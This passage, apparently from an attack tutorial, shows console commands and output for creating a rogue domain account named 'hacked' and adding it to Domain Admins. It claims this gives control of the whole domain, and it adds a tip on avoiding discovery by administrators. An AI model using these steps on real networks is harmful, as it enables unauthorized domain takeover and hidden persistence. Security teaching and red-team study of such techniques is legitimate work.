Code:
C:\net user hacked 0h3ck3d! /add /domain net user hacked 0h3cked! /add /domain The request will be processed at a domain controller for domain blackhat.com. The command completed successfully.
Now we want to add our account to the domain admin group. NOTE: often you don’t want to add an account, especially one named hacked as it is likely to be discovered by the admins.
At this point we have control over the domain and can likely log into any workstation which is on the domain.
Code:
ref: http://www.coresec.org/2011/03/27/how-to-attack-a-windows-domain/
C:\net group “domain admins” hacked /add /domain net group “domain admins” hacked /add /domain The reuqest will be processed at a domain controller for domain blackhat.com The command completed successfully.